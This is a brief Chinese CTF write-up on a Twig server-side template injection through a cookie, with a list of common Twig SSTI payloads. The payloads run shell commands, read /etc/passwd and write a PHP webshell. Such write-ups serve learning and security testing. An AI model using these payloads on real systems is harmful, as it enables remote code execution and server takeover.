[BJDCTF2020]Cookie is so stable

打开环境，在页面源代码中发现提示查看cookies

cookie里的user的值会显示到页面中

在user处尝试注入

{{7*'7'}} 回显7777777 ==> Jinja2

{{7*'7'}} 回显49 ==> Twig

回显49所以是Twig

payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

获取flag

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这里附上Twig常用的注入payload：

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

再附上SSTI漏洞的基础知识：

https://www.cnblogs.com/bmjoker/p/13508538.html